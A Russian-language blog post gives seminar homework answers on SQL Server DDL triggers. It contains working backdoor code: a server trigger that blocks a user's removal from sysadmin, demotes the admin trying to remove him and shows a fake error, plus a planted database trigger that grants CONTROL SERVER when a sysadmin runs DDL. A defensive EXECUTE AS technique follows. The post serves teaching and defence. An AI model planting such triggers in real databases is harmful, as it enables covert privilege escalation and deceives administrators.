Ответы на домашнее задание

Я обещал разобрать ответы на дом.задание на семинаре. Практика показала, что это было чересчур оптимистично. На втором семинаре руки тоже не дошли. Остается последний в этом году, но почему-то есть предчувствие, что и там не получится. Чтобы исправить ситуацию, появляется данный пост.

 

Задача 1.

из поста DDL-триггер и переименование объекта, п.5.

В ней девушка Юля, являясь администратором SQL Server, то есть членом серверной роли sysadmin, должна была выкинуть из этой роли редкого гада alexejs, а тот - не позволить ей этого сделать.

Идея состоит в том, что, как отмечалось в посте, начиная с 2008 R2 CTP3, не только в чистом виде DDL, но и хранимые процедуры, производящие по сути DDL-операции, такие, как sp_rename, sp_addrolemember, sp_addsrvrolemember, вызывают срабатывание DDL-триггеров. В данном случае, нам, конечно, надо привязываться к событию DROP_SERVER_ROLE_MEMBER. В смысле, не нам, а редкому гаду. Дальнейшее - дело техники, которая определяется только степенью гадости гада. Можно, например, написать так:

if exists(select 1 from sys.server_triggers where name = 'tr1')

drop trigger tr1 on all server

go

create trigger tr1 on all server for DROP_SERVER_ROLE_MEMBER as

declare @x xml = EVENTDATA()

declare @who sysname = @x.value('(/EVENT_INSTANCE/LoginName)[1]', 'sysname'),

        @whom sysname = @x.value('(/EVENT_INSTANCE/ObjectName)[1]', 'sysname')

if @whom <> 'alexejs' return

rollback

drop trigger tr1 on all server

declare @s varchar(255) = 'Connection to server ' + @x.value('(/EVENT_INSTANCE/ServerName)[1]', 'sysname') + ' is terminated. Please try again later.'

raiserror(@s, 16, 1)

exec sp_dropsrvrolemember @loginame = @who, @rolename = 'sysadmin'

while 1 = 1 waitfor delay '23:59:59'

go

Скрипт 1

В триггере проверяется, кого хотят выкинуть из сисадминов, после чего он остается, а вылетает, наоборот, тот, кто собирался это сделать. Прочее суть украшательства.

1. Как написано в BOL, "триггер DDL и инструкция, приводящая к его срабатыванию, выполняются в одной транзакции". При вызове sp_dropsrvrolemember это приводит к ошибке

Msg 15002, Level 16, State 1, Procedure sp_dropsrvrolemember

The procedure 'sys.sp_dropsrvrolemember' cannot be executed within a transaction.

Ну вот не может, и все тут. SET IMPLICIT_TRANSACTIONS OFF и пр. не при делах. Остается поставить rollback.

 

2. Rollback, в свою очередь, вызывает ошибку

Msg 3609, Level 16, State 2, Procedure sp_dropsrvrolemember

The transaction ended in the trigger. The batch has been aborted.

На самом деле он не абортируется, а честно выполняется до конца, можете проверить. Но ошибочка - это неаккуратненько. Демаскирует. Поймать TRY/CATCH мы ее не можем. Исправить тоже. Прошли, к сожалению, времена, когда в 2000-м можно было свободно править sysmessages. Нынче sys.messages даже через DAC не поправишь, потому что это вьюха, а не internal table. Процедура sp_altermessage принимает только “with_log” в качестве параметра, т.е. severity/text ей тоже не поправишь. От безысходности я поставил бесконечный цикл. Пусть девушка Юля лучше думает, что SSMS завис, чем пойдет у кого-нибудь спрашивать, что это за ошибка такая вылезла.

3. Кстати, об ошибке. Если Юля будет лишать пользователя alexejs членства в роли не через диалоговое окно

image

Рис.1

а напрямую напишет в окне запроса exec sp_dropsrvrolemember @loginame = 'alexejs', @rolename = 'sysadmin', хотя она вряд ли такие слова знает, предусмотрена raiserror('Connection to server is terminated. Please try again later.', 16, 1). Пусть решит, что с соединением случился какой-то глюк. Фигурирующий в тексте ошибки триггер tr1 можно обозвать как-нибудь позаковыристей, а что такое за ошибки >= 50000, она точно не знает.

image

Рис.2

 

Задача 2

Из поста Эскалация привилегий при помощи DDL-триггеров.

В ней показывалось, как пользователь, будучи никем, даже не dbo, а просто обладающий правами alter в какой-то базе, может повысить их себе до уровня управления сервером, используя нехитрую комбинацию из ddl-триггера и человеческого фактора. В задаче спрашивалось, что должна была делать девушка Юля как сисадмин, чтобы даже не подозревая о заботливо подложенных ей пользователем alexejs граблях, постараться на них не наступить.

Напомню, что alexejs насоздавал в своей базе триггер

if exists(select 1 from sys.triggers where parent_class_desc = 'DATABASE' and name = 'Zakladka')

drop trigger Zakladka on database

go

create trigger Zakladka on database for DDL_DATABASE_LEVEL_EVENTS as

if is_srvrolemember('sysadmin') = 1

exec sp_executesql N'use master; grant control server to alexejs'

go

Скрипт 2

и таблицу

 

if OBJECT_ID('Неприличное слово', 'U') is not null drop table [Неприличное слово]

create table [Неприличное слово] (id int identity)

Скрипт 3

в расчете на то, что когда таблицу [Неприличное слово] увидит девушка Юля, она ужаснется и захочет ее переименовать. При переименовании триггер сработает от лица Юли, т.е. в контексте серверной роли sysadmin, и выдаст alexejs права управления сервером. Чтобы этого не произошло, Юля должна выполнять переименование от лица кого-нибудь из пользователей базы, не наделенных сисадминскими привилегиями, например, того же alexejs. Это можно сделать при помощи инструкции execute as:

declare @cookie varbinary(128)

execute as login = 'alexejs' with cookie into @cookie

exec sp_rename @objname = 'Неприличное слово', @newname = 'Приличное слово'

revert with cookie = @cookie

Скрипт 4

Кука требуется для того, чтобы гарантировать, что revert делает тот же самый чел, который сказал перед этим execute as. В противном случае пользователь alexejs как редкий гад может предвидеть подобный трюк и сам сказать revert внутри триггера, вернув контекст выполнения снова на Юлю. Чтобы лишить его этой лазейки, нужно использовать куку или делать execute as ... with no revert. Но тогда Юля сама лишилась бы возможности использовать revert, чтобы снова стать собой, или другой execute as, чтобы притвориться еще кем-нибудь, и осталась бы alexejs до конца сессии. Кука, на мой взгляд, удобней.

 

Домашнее задание.

Как в данной ситуации Юля может безопасно сделать drop user alexejs?